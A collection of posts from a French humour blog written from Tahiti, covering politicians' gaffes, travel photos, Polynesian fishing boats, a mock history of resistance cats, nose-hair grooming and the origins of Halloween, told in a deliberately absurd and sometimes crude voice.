  Il est quand même des cas où on ferait mieux de se taire. On peut aimer profondément la France sans la placer pour autant au-dessus des autres pays, et peut-être même au-dessous lorsqu’on entend s’exprimer les plus hauts représentants de la Nation.

  Les personnalités politiques, tout comme les chats, retombent toujours sur leurs pattes. La TV ne me passionne pas mais hier j’ai écouté MAM, et ce attentivement, sur France 2 lors de la grand-messe… Dans la série, on nous prend pour des quiches, elle est très forte. On me pardonnera une mémoire défaillante, toutefois en gros a-t-elle déclaré : je suis comme tous les français, je paie si je prends l’avion pour mes vacances et je raque l’hôtel, comme tous les Français.

  Serait-ce œuvre morale d’expliquer Madame Alliot-Marie que tous les Français ne prennent pas l’avion à leurs moments de liberté et que ce n’est qu’une toute petite partie des Français qui s’offrent un hôtel luxueux à ces occasions ?

  La suite était encore plus bidonnante… Soit : Un bon ami m’a proposé de faire la fin du voyage dans son jet privé, or moi quand il vient à Paris, je le promène dans ma voiture.

  Je vous laisse méditer ces quelques vérités émises par le Ministre des Affaires Étrangères de la France. Merci de votre attention.

  PS : la CdM parle en moyenne un français beaucoup plus correct que le Président de la République du pays natal. Cet homme-ci fête son élection, non avec le peuple, et encore moins avec ses supporters mais sur le yacht d’un ami milliardaire. A quoi bon discuter des sous-fifres…

  
• Marina de Punui

  La moyenne du lectorat fidèle de la créature des marais atteignant l’indice raisonnable de 145 de QI, je suis certain que vous n’aurez aucune difficulté à résoudre l’énigme suivante.

  Parmi ces poissons de la marina de Punui s’est caché un bout de pain, sauras-tu le retrouver ?

  
  

  

  
  

  Bon, après tout , ce n’était pas si difficile mais je demeure persuadé que les personnes qui visitent ce blog par hasard sont plus réticentes à essayer de comprendre ce que je raconte qu’elles ne sont enclines à faire l’effort de regarder les images. Si ce n’était pas votre cas, faites un commentaire…

  Allez, encore quelques photos de la marina de Punui dont nous avions déjà parlé ? Bon, d’accord.

  

  

  

  

  Merci de votre attention.
  

  
• Animaux de Namibie

  S’il est une vertu que je prise, c’est la fidélité : Elle n’annihile pas le temps mais laisse les humains s’accompagner par amitié le long du fil.  Ainsi les photographies qui suivent, et qu’elle m’a gracieusement permis de divulguer, sont l’oeuvre de mon Professeur de Français de 6e. Non ?

  Si. Une globe-trotteuse et d’une culture exquise donc les barbarismes monstrueux qui émaillent les méandres fangeux de la prose créaturesque-des-marais ne peuvent en aucun cas lui être reprochés : la CdM était un élève distrait et elle ne sembla jamais coercitive. Un bonheur rare.

  Nous nous interdisons de dévoiler en quel pays elle se trouve à l’heure actuelle. Ces clichés magnifiques de Namibie reçus fin 2009 ont été stupidement sous-titrés par votre imbécile de service.

  
  

  
  

  

  Nyctalope en plein jour
  

  

  Sous les cailloux, l’herbage
  

  

  Chapeau
  

  

  Trafic
  

  

  Gorges chaudes
  

  
  

  Merci de votre attention.
  

  
• De la geisha au gai chat

  Comme vous le savez, on peut ajouter quelque outil statistique à un blog pour mieux cibler les attentes du lectorat. Parmi les informations collectées, il n’en est pas de plus surprenante que les mots-clefs qui, par l’intermédiaire d’un moteur de recherche, ont amené les visiteurs à venir consulter… Nous avions déjà fait un petit tour de la question dans cet article et nous étions étendus dans cet autre mais aujourd’hui nous avons décidé d’être très réactifs : cela fait deux fois que « image geisha amusante » revient dans les demandes.

  
  

  

  
  

  Oui, je sais, le travail graphique est minable et l’humour consternant. A cela, je répondrai : Alors, si on peut plus rigoler… Merci de votre attention.

  PS : Vous avez remarqué les bijoux en forme de boules du gai chat ?

  PPS : Inutile que des pervers m’interrogent sur la façon d’entrer en contact avec cette créature, je n’ai pas l’adresse.
  

  
• The Clash

  Élever ses enfants au Clash, est-ce bien raisonnable ?

  
  

  
  

  Merci de votre attention.

  
  

  
• Piment rasta

  Si vous voulez vous documenter, on avait déjà fait un article idiot sur le piment. Pour aujourd’hui, une simple photo d’un joli piment rasta.

  

  Merci de votre attention.
  

  
• Don’t take my coconuts

  Après la photo du tatouage d’Armand, une petite vidéo des gars qui font la cueillette sur fond de Kid creole and the… coconuts.

  
  

  
  

  
  

  Merci de votre attention.
  

  
• Tatouage à Papeari

  Des gars sont venus décrocher des cocos par chez nous, à Papeari. L’un d’eux, Armand avait un beau tatouage qu’il m’a autorisé à photographier et à placer sur ce blog. Voyez plutôt.

  
  

  

  
  

  Merci de votre attention.
  

  
• Les voeux 2011 par procuration

  La Créature des Marais, une fois n’est pas coutume, a sollicité le Président du Aidez-Ouam pour vous transmettre ses voeux 2011. Bonne année à toutes et à tous !

  
  

  Merci de votre attention.
  

  
• Tiaré meringué de Tahiti

  Je ne sais pas si vous aimez l’aspect de la tarte au citron meringuée et la saveur divine du tiaré ?

  

  Une fleur de tiare fanée est encore sublime… Merci de votre attention.
  

  
• Que se passe-t-il sous la calotte ?

  Alors que les glaciaires fondent, la Cdm se réjouit de n’être pas issue d’une famille calottine et avertit les mauvais plaisants que quiconque l’ose poursuivre pour quoi que ce soit en ressortira avec plusieurs centimètres de moins.

  On va me dire encore que le montage est super mal fait et c’est vrai.  Je manquais de temps, il fallait que je rebranche l’ancienne antenne-râteau pour capter la TNT à Papeari : Quelle parabole… Bon, mon humour n’est pas moins minable que l’image ci-dessous, je vous l’accorde. Mais aviez-vous remarqué à quel point le Pape ressemble à Leslie Nielsen dans « Mort et heureux de l’être » ?

  

  
  

  L’actualité internationale ?

  • 2 attentats en Suède. Le pays qui moque Mahomet en BD. Si on peut plus rigoler… D’accord, une fraction de la jeunesse suédoise est néonazie : Il fait froid, la bière est bonne, un tatouage, une pipe, un vomi. Constituent-ils une menace pour l’Islam ? Je ne sais pas.
    
  • 2 cm : Un objectif d’envergure pour les chefs entiers du monde à Cancun.
  • 2 points de moins pour Lady Gaga (dont je ne sais rien) dans les Charts à Bombay.

  
  

  Ce n’est pas tout ça, il faut aller dormir et je viens de me cogner le petit juif. Merci de votre attention.
  

  
  

  
• Monde, Wikileaks, Pouvoirs et Contre-pouvoir

  Ni pour ni contre, la CdM  - qui parle d’elle à la 3^ième personne – n’aime pas trop s’engager. Pourtant quand on met les yeux et les doigts sur le ternette, comme disent les petits enfants, le reste du corps risque d’y passer, c’est une métaphore, une image, oui.

  Soit ! La Cdm se procure des logiciels sans bourse délier en partenariat avec les apôtres de l’open source (auxquels nous rendons un hommage sincère et vibrant) et quelques québécois/es partageux/ses, coucou, le Québec ! Elle use aussi, on ne peut le nier, d’images cueillies au surf pour fabriquer certains montages hilarants. Bon. La somme des forfaitures aux lois commerciales et patata, ça va bien. On ne tombe pas dans la grosse piraterie, rien d’intentionnellement malfaisant.

  Eh bien, peut-être qu’à son insu, si. Je vous le donne, Émile, le parcours suivi tout à l’heure : Un coup d’œil en quelques articles sur les dessous d’affaires africaines via les dessus de transmissions captées par Wikileaks et délivrées au monde entier. C’est nettement plus instructif que LCI. Même si l’actualité est nécessairement différée, la marge est réduite vis-à-vis d’un roman historique. On en apprend de belles… De lignes en liens, on découvre que les misères infligées à Monsieur Assange ne sont pas appréciées par ses zélateurs. Ces derniers se sont autoproclamés anonymes, vieille ruse odysséenne, et ont lancé de vilaines attaques informatiques contre Paypal, Visa, Mastercard & Playtex, en les noyant sous des milliards de requêtes. Le principe est simple, ils ont mis un logiciel en téléchargement qui autorise tout petit malin à se transformer cyber-flingueur. Pis que ça, des virus peuvent infecter nos ordinateurs via cet individu démultiplié et nous jouons les comparses ignorants (toutefois, vous pourrez arguer que vous êtes innocents).

  Enfin, vous commencez à comprendre qu’on ne rigole plus. Le web2.0 avec sa pelote de facebook ou twitter, c’est comme le gadget perpétuel inventé par Gaston Lagaffe. La combinaison concertée de quelques milliers de farceurs qui ne se connaissent pas – c’est pourquoi on a écrit contre-pouvoir au singulier dans le titre, rien n’est dû au hasard – saurait aboutir à un beau chambardement. Les Anonymes ont promis de récidiver…

  Humpf ! Toute cette cyberbaston n’inspire guère la CdM qui n’inscrit sur les sites son nom véritable qu’avec réticence et ne communique pas en réseau. N’empêche que le gag de hippies californiens ayant recommandé de surpayer ses quittances de téléphone d’un centime dans les années 70 ne fait plus tache d’huile jusqu’à la Floride mais bien le tour du monde. Et s’ils s’y mettaient en Chine ? Merci de votre attention.

  
• Leslie Nielsen est bien monté

  Ayant récemment revu Y-a-t ‘il un flic pour sauver la Reine ? (hélas en version française et non québécoise)  je baguenaudais sur ce-que-vous-savez pour repérer un opus Franck Drebin que j’aurais loupé : Consternation ! « Leslie Nielsen meurt le 28 novembre 2010 à 84 ans » m’informe crûment au présent de l’indicatif à la voie active Wikipedia. Comme je connais à peine la carrière de cet estimable Canadien, veuillez-vous reporter à Wikipedia qui est marqué deux fois en bleu et souligné pour les malentendants.

  
  

  Ce que j’en sais finalement, c’est qu’aucune forme d’humour n’est à dédaigner et que les avalanches de gags les plus grotesques façon ZAZ recèlent souvent quelques perles qui me font pisser de rire. D’autant que Leslie Nielsen s’était bonifié avec l’âge.

  Prenons pour exemple Alain Delon. On peut le préférer à son époque gouape quand il trompait Romy Schneider (dont Hanna Schygulla compare justement le sourire à celui des Apsara d’Angkor) plutôt que dans son rôle actuel de nonagénaire satisfait, sans compter le secret espoir de Jean-Marie Le Pen qui aimerait que Delon l’incarnât dans son autobiographie filmique que personne n’attend.

  
  

  Je dois à Leslie Nielsen, plus qu’à Alain Delon, de bonnes rigolades. Ainsi lorsque le Capitaine Ed Hocken (alias George Kennedy) hasarde au sujet de la profession d’une victime : « Une pute, Franck ? » « Non, pas maintenant, nous avons du boulot, Ed ! » rétorque Drebin. Ou encore quand il rompt avec Priscilla Presley : « Au fait, je simulais, ce n’étaient pas de vrais orgasmes ».

  Bref, on l’aura compris, je suis un admirateur de Leslie Nielsen et les quelques navets qu’il aura commis sur ses derniers jours pour payer ses impôts n’enlèveront rien à son talent. Un air couillon vaut son pesant d’or, sur la scène comme à la ville.

  
  

  On s’étonnera peut-être de cet éloge funèbre ? C’est que la Créature ne mépriserait pas qu’un tel succès lui vînt  avant sa mort à 64 ans… Merci de votre attention.
  

  
• Vitesse acquise et champignons chinois

  Difficile parfois de trouver et du loisir et des idées, même quand on est la créature des marais. Avec désormais quelques 199,99 visites par jour, le blog cédéèmesque se devrait d’ébaubir hebdomadairement le petit nombre choisi de ses affidé(e)s aussi bien que les égaré(e)s qui s’attardent une demi-seconde, le temps de s’apercevoir qu’elles/ils sont victimes d’un mythomane.

  N’empêche que nous, au Aidez-Ouam (comité de soutien à la CdM), on s’inquiétait de ne plus avoir de nouvelles divertissantes, ridicules et inutiles. On se disait (entre nous) qu’il fallait qu’il lui en arrive une sévère à la vieille CdM ou alors qu’elle soit tombée dans une béchamelle infernale… Il n’en est rien, heureusement. Le président de notre comité a joint la Créature qui lui a cité les propos sibyllins de Audiard : « Qu’est-ce que tu veux que je te dise ? On est pris dans un tourbillon : la vitesse acquise, le malström, les champignons, on peut plus dire… »

  Bon, il est vrai qu’à proprement parler la CdM n’a pas été happée par le tourbillon marin très rapide, formant un profond gouffre, que provoquent des courants de marée dans un chenal des îles norvégiennes de Lofoten. C’est donc une image.

  La véritable raison, c’est que la CdM a horreur des contraintes de quelque nature qu’elle soit. Ses pratiques alimentaires lamentables l’ont amenée au délabrement que l’on sait, tout cela par le fait de l’obligation de se sustenter sans s’émouvoir. Ne parlons pas du résultat de son manque d’hygiène dentaire et face à la grande interrogation sur la façon dont elle a pu survivre en gagnant sa vie à horaire fixe, le mystère est intact. Enfin, lorsque le besoin lui survient de se satisfaire, elle lit l’étiquette du flacon canard wc afin de s’abstraire de ses vicissitudes viscérales.

  Si vous avez suivi jusque-là, c’est peut-être parce que, vous aussi, vous êtes de cette race ailée qui s’ébat parmi les nuées de l’idéal, loin au-dessus des effluves putrides de la vulgaire animalité. Et, par conséquent, votre délicatesse innée a fait de vous une personne fragile qui s’est retenue toute sa vie d’uriner à l’envi, une nature qui a rougi de faire entendre ses grenouilles intestines de manière circonvoisine, un être d’élite souffrant de l’urgence de péter ravalant sa guise. Et ne mentionnons pas, de grâce, le pet foireux qui vous confit de honte sous les narines outrées et les regards chargés d’opprobre de vos contemporains. On vous comprend.

  À ce compte, vous, et vous seul(e), pouvez admettre que la CdM n’ait aucune velléité d’écrire un article inutile de plus ; soyez assuré(e) qu’elle vous paiera de retour. Merci de votre compréhension.

  PS : la CdM voulait faire un glloq III sur l’expo universelle mais on est déjà le 3.

  
  
  

  
• Le poti marara

  Cet article sur le poti marara a été révisé : agrémenté de nouvelles photos, le texte a été légèrement remanié à l’intention des amateurs…

  Poti marara de Taravao

  Encore une occasion de se coucher plus savant si vous ignorez ce qu’est le bateau ci-dessous… Le poti marara est un bateau polynésien de pêche côtière, long de 5 à 8 mètres et doté d’un puissant moteur inboard.

  

  
  

  Le mot poti vient sans doute d’une altération de l’anglais boat. Quant à marara, il signifie poisson volant.

  

  On peut pêcher à la traîne, à la ligne de fond, à la canne ou au filet à papillon.

  Mais la manière noble de procéder est différente : il s’agit du Mahi-Mahi et celui-là nage en surface. Il faut le pourchasser, faire des virages dangereux et le harponner. C’est pourquoi la barre de la console n’est pas un volant mais une barre verticale qui permet de conduire le poti marara d’une main en harponnant le mahi mahi de l’autre. Sportif.

  

  
  

  Ce poisson, la Daurade Coryphène, est aussi magnifique qu’il est délicieux.Et hop, direct sur son lit de glace…

  

  Poti marara de Raiatea

  Quelques photos de magnifiques poti marara. Cliquez pour agrandir.

  

  

  

  

  Oui, le poti marara, c’est un bateau qui dépote… Un hommage pour finir à Tavae Raioaoa qui s’est éteint le 11 septembre dernier. Ce dur-à-cuire, parti de Faaa, est tombé en panne de moteur vers Moorea. Il a dérivé à bord de son poti marara pendant 118 jours sur 1200 Km jusqu’à rejoindre Aitutaki, archipel nord des Cook. Merci de votre attention.

   La prochaine fois, nous parlerons du rôti rapama à la sauce fafaru.

  
• Les chats sous l’occupation

  
  

  
  

  La résistance passive

  Alors, il fallait bien encore raconter n’importe quoi, hein ? On ne peut pas s’en empêcher ? En effet et c’est pourquoi nous signalons un film magnifique de 1949, inspiré de l’œuvre éponyme de René Clément, « La bataille du rail »  (1946) qui retrace l’action des chats dans la résistance à l’occupant nazi à partir de 1941.

  
  

  

  
  

  La Bataille du rail est une fresque dramatique sur le sabotage des voies ferroviaires, accompli dans l’ombre par des félins auxquels jamais on ne rendit l’hommage qu’ils méritaient. Car il faut se rappeler  que, pendant les années noires, la gent féline domestique a réagi avec pusillanimité, pire, avec indifférence, aux bruits de bottes qui assourdissaient le sol national. Bien sûr, quelques-uns ont sauvé des vies humaines en sacrifiant leur chair mais ce n’était pas de leur plein gré.

  On peut citer également un chat de Boris Vian « torturé par la Gestapo de chat » et « déporté à Buchenkatz » qui aurait dû être décoré de la médaille de la résistance. Hélas, à la fin de la nouvelle, ce chat, pris de boisson, est renversé par une auto ou tombe dans un égout, je ne me souviens plus. Et puis, c’est un personnage de fiction.

  
  

  Charoque et Bidoux, des chats héroïques

  Les héros de la bataille du rail, le jeune colonel Charoque et Robert Bidoux dit « le chat tranquille », dirigent de 1941 à 1944 un réseau à l’échelle nationale. Durant trois ans, ils multiplient les attaques, partout présents sur le territoire, toujours insaisissables. Les Allemands n’arriveront jamais à percer le code qui protégeait leurs transmissions cryptées, le mot de passe, inventé par Bidoux, était « ron-ron ». Hélas, le 11 novembre 1943, lors du dynamitage au kitkat d’une voie du côté de Chatou, le Colonel Charoque périt écrasé par les rails.

  
  

  
  

  Le Colonel Charoque tué par les effets d’un puissant explosif, le kitkat

  (Photographie retrouvée dans les archives de la Kommandatur de Chatonrupt-Sommermont – Haute-Marne – à la libération)

  
  

  Dès 1942, Bidoux, généticien avant la guerre, a l’idée d’utiliser ses dinosaures-bonzaï pour lancer des coups de main meurtriers contre les transports de troupe ennemis. La réduction de l’animal n’a pas diminué sa férocité et les récits des survivants de la Wehrmacht font froid dans le dos. Malheureusement, en 1944, le Chat tranquille est dénoncé par un triste sire nommé Koza. Il décèdera pendant l’interrogatoire au cours duquel on le soumet au supplice de la baignoire.

  
  

  
  

  Une des rares photographie de Robert Bidoux supervisant l’attaque de son stégosaure contre un convoi allemand

  
  

  Le film de Raminagrobis
  

  En 1949, Raminagrobis veut rendre hommage à ces grands Chats pour son troisième long-métrage. Il vient de terminer « La souris couinera trois fois » qui s’avère un échec commercial. Il engage alors le duo bien connu Petit Minou & Petit Minou Gros pour incarner respectivement Charoque et Bidoux et c’est un succès. Mais très vite, le film est retiré des salles : Raison d’état. Les techniques de guérilla montrées dans le film auraient inspiré les indépendantistes siamois de l’époque.

  

  
  

  Il n’en demeure pas moins que Michel Charoque (familièrement appelé Mimi) et Robert Bidoux resteront pour l’éternité un modèle. Ils représentent les plus belles valeurs de la race féline : Fidélité, Solidarité, Désintéressement, Obéissance, Suractivité, Bravoure et j’en oublie. Merci de votre attention.

  
• Un film qui fait peur

  Un des problèmes lorsqu’on s’exprime depuis 1983 au sujet du grand R’gé ou des aventures de son personnage emblématique, le célèbre Tonton, journaliste juvénile, flanqué du chien Mouston, c’est qu’on s’expose à être poursuivi en justice par F***y V*******, connue sous le sobriquet de veuve R’Gé, et par son époux actuel, l’homme d’affaire anglais, N*** R******, les deux ayant procédé à une collusion maritale (dans le but de préserver le patrimoine R’gé) où se confondent apparemment les intérêts moraux et financiers.

  
  

  

  ah ah ah

  La Créature des Marais, fan du Capitaine Haddikt, a bien entendu transgressé à plusieurs reprises les interdictions formelles édictées par la S.A. M********t, en utilisant des vignettes de sa BD favorite, histoire de faire de l’humour à prix modique. Il n’est pas exclu qu’elle récidive dans cet article mais étant donné que les époux Roswell doivent avoir une kyrielle d’employés qui surfent pour traquer les plus infimes détournements et faire condamner à de lourdes amendes même celles et ceux qui les commettent dans un but non-mercantile, on se contentera de placer les farces discursives dans les images où le texte est plus difficile à détecter…

  
  

  

  
  

  R’gé avait sollicité un certain Walter Dysnek, créateur d’une souris renommée à l’échelle planétaire,  mais sans succès. Au début des 80’s, un autre Amerlicain s’intéresse au reporter nubile, lui. Mais faute d’entente, le projet n’aboutira pas du vivant de Papa. De fait, R’gé semble avoir décidé que son fils ne poursuivrait pas sans lui. Toutefois, « le mystère de l’unicorne », film de S. Spulbergue (qui a de la suite dans les idées) sortira dans un an. Le réalisateur déclare vouloir être fidèle à l’œuvre originale et voici une première image :

  
  

  
  

  Elle ne fait pas bonne impression… La chevelure est saugrenue et le nez grotesque, la barbe trop courte. Un film qui fait peur avant même d’être fini ! C’est pourquoi on a concocté la petite parodie ci-dessous.

  
  

  
  

  Enfin, on verra bien, ce sera peut-être un très bon film… Merci de votre attention.

  
• Poil au nez

  Que pouvait-on raconter de complètement idiot pour vous divertir ? Eh bien, aujourd’hui, restons dans l’esprit des pires articles de ce blog et causons de la pilosité interne des narines.

  Tous ceux qui ont pensé « poil à la pine » ont gagné un autocollant CdM.

  Bon, examinons donc le poil de ci, de là, pareil au chat fidèle, qui nous pousse de la tête et du museau.

  L’inégalité en poil et en nez

  Sommes-nous tous égaux en la matière ? Je réponds non. Il est vrai que les visiteurs de ce blog sont plutôt des « Occidentaux » (pour peu que le terme soit précis), espèce qui se complait dans la pilositude à preuve que les chauves y sont stigmatisés.

  Toujours est-il qu’il est des humains sur la planète qui ont le nez court. Les mêmes présentent souvent par ailleurs une poilification moindre (ex. la fine barbiche de l’honorable Wang-Jen-Ghié dans le Lotus bleu) et se trouvent très bien ainsi. À ce sujet, également, les confirmations abondent (exemple, Les Japonais, entre autres, appelaient les Européens « les longs nez » et autre exemple   entendu sur Radio-Tiare, un Tahitien exprimait son mécontentement à propos du nucléaire en déclarant : « ça suffit là, les pinocchio ! » mdr).

  Petit, mon nez ?

  C’est que le nez est bien singulier et quand on arbore un pif de conséquence, sans doute, ne se sent-on plus de joie ? Quoique, pensons aux larmes de Cyrano… Bon, n’empêche que c’est une présence : Celle d’un Frère Jean, bien advantaigé en nez, ou d’un Jules Berry à la voix aussi suave que nasale ou encore celle de Anthony Queen ou de Gérard Darmon ou de Cléopâtre. Bref, jusque-là, ça ne va pas trop mal mais car il y a un mais.

  Les cavités narinales, à l’instar de la barbe, des sourcils et, plus tardivement, des pavillons auriculaires, foisonnent de grands poils avec l’âge et il n’est pas toujours facile de s’en accommoder. À l’extérieur, les choses sont simples, on peut élaguer, tailler, ratiboiser… En revanche, on doit oeuvrer à l’aveuglette lorsqu’il s’agit de débroussailler une profusion de poils dans le nez !

  À quoi servent les poils au nez ?

  Les avis divergent et, pour la ligne officielle de l’église de Nasopilologie, ils nous protègent du Malin, les extirper à la pince à épiler relève de la possession démoniaque. Selon une hypothèse plus raisonnable, ils empêchent en partie l’intrusion accidentelle des particules cancéreuses, des pollens mortels et de la cocaïne coupée.

  Le rhume quand on a un grand nez plein de poils
  

  Le vrai problème, c’est – un pokémon allégorique s’appelant  Tadmorve y fait allusion – cette regrettable vérité que bon nombre d’humains souffrent du coryza. Deux cas de figure. Vous avez le blair garni d’un épais mucus glaireux (dont vous supposez qu’il a empiété sur une partie de votre cerveau – comme cet article) et vous éternuez soudain devant témoin. Une splendide limace vous décore jusqu’au menton. Si c’était votre premier RDV, vous êtes grillé(e).

  Second cas de figure. Vos évents sont secs et l’auriculaire, cette fois nous parlons du doigt, pourrait vous débarrasser enfin des mickeys longilignes semi-solidifiés dont la queue visqueuse qui se lovait dans vos muqueuses vous englue à présent l’ongle ? Malheur ! Ne savez-vous pas que les poils  retiennent la saleté, on vous l’a dit et répété, et c’est comme ça qu’issue de vos fosses nasiques, lors du soupir langoureux que vous vouliez émettre à la face de l’objet de vos désirs, tombera sur son fondant mi-cuit une petite crotte de nez dont elle/il aura suivi la trajectoire. À moins que l’objet de vos désirs soit nul(le) en balistique et fortement bigleuse ou bigleux, vous êtes cuit(e).

  On se demandera peut-être pourquoi je m’obstine à pratiquer le féminin-masculin systématique indépendamment de la présomption selon laquelle peu de femmes à barbe lisent le blog de la CdM, je vous le dis, c’est par pur féminisme.

  Les solutions antipilaires et propilaires existent-elles ?

  Soyons amples et traitons large. Commençons par la calvitie. Que faire ? Les remèdes, du caca poule à la minoxydine, ne mènent à rien sinon au mieux à une hypertrophie pileuse endonasale assurée. D’autre part, une moumoute implantée, c’est ridicule, alors à quoi bon ?

  Concernant les antennes de crevette qui sortent du front ou des oreilles, je préconise l’arrachage ponctuel et sans précipitation à l’aide d’une pince qui déchouque le bulbe.

  Rasage : Les  conseils de la Créature des Marais

  Pour le rasage, je vais être plus précis : Ayez soin de vous savonner le visage à l’eau tiède.  L’étiquette de la mousse à raser est nécessairement sous-titrée « Barbe difficile, peau sensible » – en effet, seuls les bienheureux qui ont la barbe facile et la peau en cuir d’éléphant peuvent se raser au paic et à l’opinel. La mousse en question ne doit pas trop schmouter sous peine de corrompre le parfum que vous portez. J’ajoute que les mousses à raser de marque qui correspondent au parfum ne sont pas sous-titrées.

  Le choix du rasoir est déterminant. Un trois lames encadré du grip caoutchouc à rainures et de la plaquette de lanoline colorée pour faire joli est un instrument idéal que vous utiliserez à rebrousse-poil dès le premier passage. À noter toutefois que si votre lèvre supérieure, comprise de son éminence la plus haute à la racine du nez, mesure moins de 13,7 mm, vous devrez vous équiper d’un deux-lames pour éviter les coupures. Bec de lièvre ne fait pas oublier grand tarin.

  La tondeuse de nez, c’est le pied

  Venons-en aux naseaux empoilés.  Eh bien, je viens de tester pour vous un truc pas mal du tout : la tondeuse de nez à lame rotative sécurisée, ça ressemble à un allume-gaz mais c’est efficace et j’ai plaisir à constater en fourrageant négligemment de mon index gauche l’un et l’autre de mes orifices nasaux (tandis que je tape ceci de la main droite) qu’aucune scorie mucilagineuse n’obstrue désormais les voies aériennes de mon noble appendice. Merci de votre attention.

  PS : Je déconseille vivement aux personnes souffrant de diverticulite sigmoïdienne d’employer la tondeuse de nez pour procéder en amateur à l’ablation auto-chirurgicale de polypes sessiles. À bon entendeur…

  
• La vérité sur Halloween

  Qu’est-ce qui est à la fois une histoire de druide, une opération marketing, un appel à la délinquance et une occasion de manger des bonbons pour pas un kopeck ?

  
  

  Eh oui, je sais que Halloween, c’est has been mais je note que les attaques contre cet événement (qui réjouit les enfants) sont toujours aussi virulentes et d’inspiration étonnamment diverse. Nous examinerons les arguments de ces gens qui fulminent.

  Que d’histoires
  

  A l’origine, une fête druidique qui marque la fin de l’été et, l’espace d’une nuit, mêle les vivants aux Esprits. On s’y déguise de manière à effrayer les Démons et l’on fait des offrandes aux Revenants, un coup classique. Les bons moines irlandais nous ont conté la vivacité de l’événement jusqu’au IXe siècle quand Grégoire IV institue le « Soir de tous les Saints » auquel succède la fête des morts (on remarque que c’est un pape qui a fait le coup).

  
  

  
  

  Retour de bâton, la légende païenne sanctifiée carambole un conte, celui de Jack O’Lantern. Jack est un avare dypsomane, ce qui est atypique et contredit les règles de conduite de « l’honnête pochtron » (voir notre article sur la pochtronnitude). Il invite le Diable à boire une pinte et le Malin se transforme en pièce de monnaie en échange de son âme. Mais la pièce sitôt remisée dans le porte-monnaie y est prisonnière car, retors, Jack a glissé un crucifix dans son morlingue. Il obtient un sursis d’un an au terme duquel il parvient encore à embobiner le Cornu pris dans les branches d’un arbre. Bref, un sacré farceur, ce Jack. Toujours est-il qu’au Paradis, on n’a pas forcément le sens de l’humour. Comme c’est un pingre, on lui refuse l’entrée en dépit qu’il ait fait bisquer le grand Satan. Lucifer, on le conçoit, ne pouvait accepter en enfer, ce foutu Jack qui l’avait ridiculisé. Finalement, Jack O’Lantern est condamné à errer dans la nuit éternelle, éclairant sa route avec un tison abrité au creux d’un navet évidé. On peut l’aider en confectionnant soi-même une lanterne ou en versant un peu de whisky dont les éthers parviendront aux narines frémissantes d’extase du Pèlerin des Ténèbres, ce qui serait une bonne action. Mais revenons à notre affaire.

  
  

  
  

  La fête a passé outre-atlantique avec les migrants irlandais et ceux de rite écossais. En Amérique, on use simplement d’une cucurbitacée plus volumineuse à l’image du pays.
  

  De l’offrande à l’extorsion de bonbons, du masque pour chasser les démons aux petits mimes grimés qui frappent à la porte, cela aboutit à cette festivité enfantine. Bon, je vous passe les squelettes, les araignées et le toutim.
  

  Que reproche-ton à Halloween ?

  Par exemple, d’avoir été médiatiquement imposée en France dans une visée commerciale. Malheur aux manipulateurs de mythes, ils risquent gros et je ne serais pas surpris si j’apprenais que le démon Pazuzu (cf. L’exorciste) a débarqué de Mésopotamie, où il fait vilain temps, pour leur bouffer les entrailles. J’avoue être sensible au fait qu’une opération mercantile ruine la magie et l’innocence de la fête aussi sûrement que la multiplication des Pères Noël. C’est pourquoi j’ai commencé par là.

  
  

  Autre argument massue, la Sécurité. Envisageons celle des enfants. Abstraitement parlant, nous avons la théorie du complot. Des gang de malfaiteurs leur proposent des bonbons empoisonnés. Les parents ne penseraient pas à incriminer l’abus de carambar  si le gamin se tord en se tenant le ventre. Il paraît aussi que des adolescents inconscients leur offrent des cachets d’ecstasy et l’enfant devient tout bizarre pendant un certain temps. Plus terrible, des sadiques solitaires introduisent dans les bonbons des choses de la pire espèce : lame de rasoir, aiguille contaminée, préservatif usagé et défense de mammouth. Je vous laisse mesurer l’ampleur du danger.

  Parlons concrètement et prenons un exemple. Dans le Manitoba, les enfants qui vont quêter de maison en maison sont protégés par un cordon de policiers et de voitures à gyrophare. Bon, il est vrai que c’est une mesure contre la possible irruption d’ours blanc dans cette partie du monde. Mais, molletonnés comme ils doivent être pour survivre au froid, je suis sûr que s’ils glissent, ils ne se font même pas mal. Je parle des enfants, pas des ours.

  
  

  Et la sécurité des Adultes ?

  Il s’agirait plutôt du fond de la question. Halloween rendrait nos enfants psychotiques. Mais qui a songé à l’effet dévastateur sur les adultes ? En effet, Halloween est une fête à laquelle celles et ceux qui sont nés avant 1980 ne sont pas accoutumés. Imaginez la centenaire assoupie dans son fauteuil avec le chat sur les genoux et trois petits masques de la mort qui frappent à la fenêtre… Toc, toc, toc et couic, mamie !

  
  Mais cette concurrence de Halloween à la canicule est insuffisamment avérée. En revanche, les parents ordinaires, selon l’âge de ses enfants, risquent de ne pas y couper. Nous livrons ce témoignage bouleversant de Madame Saintesprit dont la progéniture (Eva +, Aude +, Anne +, Marc +, Samson +, Minou +) périt  tragiquement un 31 octobre.

  
  

  
  

  « Je me suis mise à l’ouvrage. J’ai toujours aimé bien faire, depuis toute petite. A chaque fois que je devais réaliser quelque chose, je préférais faire des essais avant.J’avais un peu de mal avec la citrouille mais je n’avais pas fini de réfléchir que je partais déjà pour me faire la main. »

  

  « J’ai commencé par le chat mais le crâne est petit alors j’ai eu du mal à le scier puis à le cureter. J’ai obtenu un vrai succès à mon cinquième enfant, c’était plus facile, j’avais pris le tour de main. C’est au retour de mon mari que j’ai repris mes esprits, le mal était fait. Ce fut la plus triste nuit d’Halloween de ma vie mais la citrouille était magnifique »

  
  

  
  

  Trick or Treat !

  La traduction du mot d’ordre halloweenien en l’exquise langue du Marquis de Sade est délicate. Trick, c’est faire une farce, jouer un méchant tour, jeter un sort. Treat est l’idée d’une mise en demeure qui contraint l’adulte à traiter ses visiteurs avec déférence et munificence en les inondant de friandises. Syntaxiquement, le français ne permet pas de respecter la tournure originale, il faut permuter : « File le malabar sinon je te colle le mauvais oeil ! »

  C’est précisément contre ces manières que s’insurgent les bonnes âmes qui y voient un apprentissage au gangstérisme. Oui, une nuit par an… Je voudrais rappeler que les racketteurs sont des nains de jardin. Vous pouvez leur donner des bonbons seulement si vous le souhaitez ou des baffes, si vous préférez. La force physique n’est pas de leur côté. Quant au mauvais oeil, mettez des lunettes noires et le tour est joué.

  
  

  Le côté morbide la Force

  Encore un reproche majeur. Halloween est une fête des morts. Tous ses fantômes et ses zombies forment une farandole démoniaque qui entraînent inéluctablement nos enfançons au culte satanique. Ils s’y livreront à la débauche de sexe, aux excès de boissons alcoolisées et de nourriture raffinée qui caractérisent bien leur âge, n’est-ce pas ?

  
  

  

